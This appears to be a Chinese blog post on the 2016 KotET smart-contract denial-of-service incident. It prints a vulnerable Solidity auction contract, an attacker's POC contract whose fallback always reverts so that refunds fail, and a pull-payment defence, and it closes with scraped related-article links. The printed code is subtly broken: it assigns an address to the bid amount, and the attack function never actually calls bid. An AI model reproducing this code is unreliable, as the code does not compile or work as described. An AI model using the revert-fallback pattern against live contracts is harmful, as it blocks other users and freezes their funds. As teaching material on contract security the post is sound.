现实世界中的网络都是有带宽限制的,想象一下,一个访问量稳定的网站,突然有人利用某种方式爆发式的将网站的访问量提升,这个时候系统会作何反应?如果系统没有合理的防DOS攻击的方式,这种时候往往会造成服务器瘫痪/崩溃。

DOS,即Denial of Service,拒绝服务。造成服务器拒绝服务的攻击被称为DOS攻击。早在区块链之前,互联网世界就存在的一种攻击方式。在智能合约中,往往有一部分函数的执行是依赖于外部调用的结果,这种情况下又没有对外部返回的结果做严格控制,比如外部长期不返回或者返回结果非预期的处理。这种情况就有可能产生一些安全事故。本文介绍的就是由Dos攻击导致的KotET安全漏洞事件。

事件介绍

KotET是一个区块链游戏的简称,游戏中设立了一个“王位”,玩家通过发送ether给智能合约参与对王位的竞选。如果A出价10ETH获得“王位”后,B在出价20ETH,那么合约会将10ETH返回给A,将王位转移给B。然而在2016年2月6日至8日期间,许多玩家发现无论发送多少的eth给合约来竞争王位都不能成功。

漏洞原因

先看一下合约的源码:

pragma solidity ^0.4.22;

contract Auction {
address public currentLeader;
  uint256 public highestBid;
   
  function bid() public payable{ //竞选方法
      require(msg.value > highestBid); //判断当前投入eth是否大于之前的最大值
      require(currentLeader.send(highestBid));//如果大于 把原有的王位拥有者的金钱退回
      currentLeader =msg.sender; //当选新的国王
      highestBid =currentLeader;
  }
}

这是一段非常简单的合约代码,逻辑笔者都已经注释。接下来讲一下黑客的思路:因为bid方法首先判断了金额的大小,满足条件以后先将上一个“国王”退位,在赋值新的“国王”。那么如果上一个国王一直不退位,是不是就可以一直没有新的国王当选呢?

在看一下黑客的攻击代码:

interface Auction{  //定义原有接口 方便调用
  function bid() external payable;
}
contract POC{ //定义攻击合约
  address owner;
  Auction auInstance;  
  constructor() public{
      owner =msg.sender;
  }
  modifier onlyOwner(){
      require(owner == msg.sender);
      _;
  }
  function setInstance(address addr) public onlyOwner{ //实例化指定合约
      auInstance =Auction(addr);
  }
  function attack() public onlyOwner{ //攻击方法
      auInstance.bid.value(msg.value);
  }
  function () external payable{ //合约默认回调
      revert();
  }
}

上述的代码中,攻击者申明了一个POC合约,在合约中定义了一个攻击方法。顺着这个方法的思路:

1.攻击者首先调用Auction 实例化的合约,然后调用合约的bid方法,传递一定量的ether。首先攻击者要满足:require(msg.value > highestBid);这样攻击者创建的这个合约地址会当选为国王。

2.当有其他玩家入场,发送了多于上一次数量的ether以后,那么正常流程的话合约的bid方法的第二步会调用POC合约的send方法退回金额,然后让攻击者退位。但是攻击者早就准备就绪。当send方法调用时首先会调用POC合约的回调函数,回调函数的实现内容是revert()函数,也就说无论结果如何都执行不成功。那么就导致了require(currentLeader.send(highestBid))执行时永远不会成功,所以其他竞争者无论投入多少eth服务器都会没有响应。这就完成了一次DOS攻击。

防范

这种攻击能实现的主要原因还是因为合约的实现过程中把方法的调用结果交由外部的返回结果来控制。这就为很多攻击留下了隐患。所以我们在思考如何防范的时候应该思考的是化被动为主动,可以在合约中建立一个mapping,每个用户可以退的金额多少存储在mapping中,由用户自己主动去请求合约来实现金额的退回。

其实在笔者的角度来看,DOS攻击在互联网的世界中其实是没有办法完全避免的,只能通过一定的手段来防护。降低这种攻击带来的危害。

智能合约安全事故回顾(3)-DOS漏洞导致的KotET事件的更多相关文章

  1. 【原创】智能合约安全事故回顾分析(1):The Dao事件

    首先需要说明的一点是,这个世界上没有绝对安全的技术.在区块链发展的十年里,各种基于区块链的数字货币引发的安全事故层出不穷,这些安全威胁主要来源有三个方面: 自身安全机制的问题,类似智能合约. 生态安全 ...

  2. 智能合约安全事故回顾(2)-BEC溢出攻击

    讲溢出攻击之前,先给大家讲个故事:2014年的时候,美国的宾夕法尼亚州的某个小镇上发生了一个乌龙事件,征兵系统对一万多名1893年到1897出生的男子发去信函,要求他们注册参军,否则面临罚款和监禁.收 ...

  3. 【阿菜读论文】ContractFuzzer:fuzzing方法挖掘智能合约漏洞

    论文简介 论文标题:ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection 论文链接:ContractFuzzer: F ...

  4. 以NGK 呼叫河马为例分析智能合约漏洞在哪?

    合约交易是指买方和卖方根据约定,在未来某一时刻,以指定价格接受某一资产的协议. 合约是买卖双方之间权利义务的表现形式.合约交易是一种金融衍生工具,与现货市场相比,用户通过判断期货合约交易的涨跌,选择买 ...

  5. 智能合约bug以及修改方案

    截取两篇文章:第一遍文章说的是智能合约能不能修改的问题: ETC转到ETH地址以及转币进ETH智能合约账户能不能转出来? 第0章 引言 如果ETC充值到了ETH地址上,能找回来吗?答案是不一定. ET ...

  6. 智能合约开发solidity编程语言开发一个以太坊应用区块链投票实例

    智能合约开发用solidity编程语言部署在以太坊这个区块链平台,本文提供一个官方实战示例快速入门,用例子深入浅出智能合约开发,体会以太坊构建去中心化可信交易技术魅力.智能合约其实是"执行合 ...

  7. Go语言打造以太坊智能合约测试框架(level3)

    传送门: 柏链项目学院 第三课 智能合约自动化测试 之前课程回顾 我们之前介绍了go语言调用exec处理命令行,介绍了toml配置文件的处理,以及awk处理文本文件获得ABI信息.我们的代码算是完成了 ...

  8. Go语言打造以太坊智能合约测试框架(level2)

    传送门: 柏链项目学院 第二课 智能合约自动化编译 前期内容回顾 之前我们的介绍的是如何通过solc编译智能合约,并且调用智能合约,本节我们继续实践,将智能合约的代码自动化编译以及abi文件生成搞定. ...

  9. [转]EOS智能合约 & 私链激活 & 基本操作

    链接:https://www.jianshu.com/p/90dea623ffdf 简介 本篇文章,将跟大家介绍eos私链的激活.基础智能合约的安装,以及为大家演示转账等基础操作.还没有安装eos私链 ...

随机推荐

  1. HTML5两个打包工具

    AppCan:http://www.appcan.cn/ HBulider:http://www.dcloud.io/

  2. Mockito为什么不能mock静态方法

    因为Mockito使用继承的方式实现mock的,用CGLIB生成mock对象代替真实的对象进行执行,为了mock实例的方法,你可以在subclass中覆盖它,而static方法是不能被子类覆盖的,所以 ...

  3. Java-API:javax.servlet.http.HttpServletResponse

    ylbtech-Java-API:javax.servlet.http.HttpServletResponse 1.返回顶部 1. javax.servlet.http Interface HttpS ...

  4. C# 不使用Task实现的多线程顺序执行

    多线程有很好的并发性即无序性,在某些特殊情况下需要用到多线程然而又要使其具备顺序性,这种时候就有了一个特殊的场景那就是多线程顺序执行,在现在VS2015中Task自带了顺序执行的方法,但在此之前的旧项 ...

  5. 【转】前端上传组件Plupload使用指南

    http://www.cnblogs.com/2050/p/3913184.html Plupload有以下功能和特点: 1.拥有多种上传方式:HTML5.flash.silverlight以及传统的 ...

  6. 图解缓存淘汰算法二之LFU

    1.概念分析 LFU(Least Frequently Used)即最近最不常用.从名字上来分析,这是一个基于访问频率的算法.与LRU不同,LRU是基于时间的,会将时间上最不常访问的数据淘汰;LFU为 ...

  7. SQL 实现行列互换

    Oracle:不过大多数是采用 oracle 数据库当中的一些便捷函数进行处理,比如 ”pivot”: MySql:目前没有找到更好的方法 题目:数据库中有一张如下所示的表,表名为sales. 年 季 ...

  8. 斐波那契数列-java实现

    1,1,2,3,5,8,13,21...... 以上的数列叫斐波那契数列,今天的面试第一题,输出前50个,这里记录下. 方式一 package com.geenk.demo.my; /** * @au ...

  9. hadoop再次集群搭建(3)-如何选择相应的hadoop版本

    之前接触过很多很多hadoop版本,现在重新搭建平台,面临选择哪个版本的问题. 当我们决定是否采用某个软件用于开源环境时,通常需要考虑以下几个因素: (1)是否为开源软件,即是否免费. (2) 是否有 ...

  10. HBase入门基础教程 HBase之单机模式与伪分布式模式安装

    在本篇文章中,我们将介绍Hbase的单机模式安装与伪分布式的安装方式,以及通过浏览器查看Hbase的用户界面.搭建HBase伪分布式环境的前提是我们已经搭建好了Hadoop完全分布式环境,搭建Hado ...